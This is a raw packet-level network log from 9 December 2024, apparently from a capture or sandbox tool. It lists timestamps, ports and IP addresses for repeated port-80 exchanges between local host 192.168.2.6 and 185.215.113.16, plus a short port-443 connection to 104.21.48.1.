Dec 9, 2024 21:09:35.400283098 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.400402069 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.400511980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.401340008 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.401514053 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.401567936 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.402498960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.402544022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.402705908 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.402894020 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.403547049 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.403593063 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.403659105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.403700113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.404675007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.404813051 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.405023098 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.405066013 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.405894995 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.405965090 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.406142950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.406187057 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.406922102 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.406986952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.407061100 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.407108068 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.408042908 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.408418894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.408422947 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.408461094 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.409125090 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.409189939 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.409209967 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.409313917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.410293102 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.410341024 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.410496950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.410538912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.411289930 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.411341906 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.411472082 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.411533117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.412410021 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.412584066 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.413156986 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.413609028 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.413619995 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.413645983 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.413674116 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.414707899 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.414750099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.415050983 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.415765047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.415819883 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.416109085 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.416155100 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.416840076 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.416886091 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.417042017 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.417083025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.417920113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.418114901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.418158054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.419151068 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.419197083 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.419348001 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.419394970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.420176983 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.420218945 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.420388937 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.420433998 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.421297073 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.421340942 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.421552896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.421603918 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.422370911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.422415972 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.422830105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.422873020 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.423480988 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.423522949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.423590899 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.423634052 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.424583912 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.424688101 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.424753904 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.424789906 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.425724030 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.425785065 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.425842047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.425882101 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.426860094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.426904917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.426971912 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.427023888 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.428215027 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.428256989 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.428525925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.428570032 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.429064989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.429363012 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.429408073 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.430162907 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.430243969 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.430305004 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.430342913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.431355000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.431761026 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.432416916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.432427883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.432466030 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.433041096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.433084965 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.433547020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.433593035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.433803082 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.433846951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.434627056 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.434684992 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.435086966 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.435168028 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.435806036 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.435851097 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.436115980 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.436181068 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.436796904 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.436842918 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.437077999 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.437124014 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.437887907 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.438424110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.438477039 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.439188957 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.439233065 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.439387083 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.439431906 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.440138102 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.440179110 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.440401077 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.440443039 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.441370964 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.441433907 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.441478014 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.442460060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.442595959 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.442950964 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.443547964 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.443591118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.443785906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.443866968 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.444536924 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.444593906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.444601059 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.444626093 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.445617914 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.445709944 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.445866108 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.445904970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.446809053 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.446852922 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.446974039 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.447021008 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.447882891 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.447933912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.578763962 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.579288006 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.579301119 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.579372883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.579376936 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.579417944 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.580120087 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.580167055 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.580454111 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.580497980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.581228971 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.581645012 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.581690073 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.582360983 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.582405090 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.582509995 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.582554102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.583611965 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.583662987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.583878994 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.583925009 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.584589958 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.584633112 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.584671974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.584717035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.590082884 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.590092897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.590136051 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.590529919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.590576887 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.590615988 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.590651989 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.591634989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.591697931 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.591861010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.591901064 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.592792988 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.592843056 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.592900038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.593846083 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.593894005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.594239950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.594281912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.594938040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.594988108 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.595598936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.595640898 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.596036911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.596081018 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.596437931 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.596482992 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.597162008 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.597203016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.597322941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.597367048 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.598275900 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.598330021 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.598362923 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.598407030 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.599411964 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.599683046 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.599730015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.600538969 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.600549936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.600583076 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.600610971 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.600891113 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:35.600959063 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:35.601618052 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.601666927 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.601861000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.601902962 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.602185965 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:35.602193117 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:35.602474928 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:35.602722883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.602859020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.602906942 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.603678942 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:35.603724957 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:35.603785038 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:35.603801966 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.603861094 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.604091883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.604135036 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.604896069 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.604949951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.605077982 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.606070995 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.606113911 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.606497049 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.606547117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.607244968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.607292891 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.607553959 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.607597113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.608275890 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.608324051 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.608490944 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.608537912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.609380960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.609424114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.609585047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.609628916 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.610420942 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.610465050 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.610625029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.610667944 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.611639023 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.612040997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.612098932 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.612772942 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.612821102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.612865925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.612915993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.613850117 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.613899946 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.614038944 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.614088058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.614844084 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.614892960 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.614945889 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.614995956 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.615972996 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.616023064 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.616292000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.616338968 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.617058992 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.617383957 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.617433071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.618221045 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.618271112 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.618415117 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.618462086 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.619354963 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.619402885 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.619469881 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.619518042 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.620388031 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.620435953 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.620564938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.620614052 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.621541023 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.621589899 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.622081041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.622690916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.622741938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.622744083 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.622788906 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.623701096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.624160051 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.624247074 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.624828100 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.624903917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.625317097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.625391960 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.626051903 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.626188993 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.626260996 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.627072096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.627146006 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.627305031 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.627377987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.628155947 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.628228903 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.628469944 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.628540993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.629312038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.629458904 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.629533052 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.630419970 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.630500078 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.630538940 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.630610943 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.631483078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.631551981 CET	49923	80	192.168.2.6	185.215.113.16
